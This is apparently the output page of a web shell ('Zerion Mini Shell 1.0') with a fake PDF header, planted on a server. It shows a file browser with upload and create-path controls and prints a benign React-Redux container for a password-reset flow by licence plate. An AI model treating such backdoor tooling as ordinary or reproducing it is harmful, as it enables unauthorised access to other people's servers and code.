%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/def/static/js/containers/ForgotPassword/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/def/static/js/containers/ForgotPassword/SendLicensePlateContainer.js

import { connect } from "react-redux";

import SendLicensePlate from "components/ForgotPassword/SendLicensePlate";
import countryConfig from "config/countryData";
import { sendLicensePlate, scramblePhone } from "../../actions/list_actions";

const mapStateToProps = (state) => ({
  phone: state.resetPassword.get("phoneNumber"),
  pendingAccessToken: state.resetPassword.get("pendingAccessToken"),
  phoneNumber: countryConfig.countryData[state.config.toJS().config.countryConstant].tel_number,
  licensePlate: state.form?.sendLicensePlateForm?.values?.licensePlate,
  licenseError: state.resetPassword.get("error"),
});

const mapDispatchToProps = (dispatch) => ({
  sendLicensePlate: (phone, licensePlate, pendingAccessToken) => {
    const data = {
      phoneNumber: phone,
      licensePlate,
      pendingAccessToken,
    };
    dispatch(sendLicensePlate(data));
  },
  scramblePhone: (data) => {
    dispatch(
      scramblePhone(data),
    );
  },
});
export default connect(mapStateToProps, mapDispatchToProps)(SendLicensePlate);

Zerion Mini Shell 1.0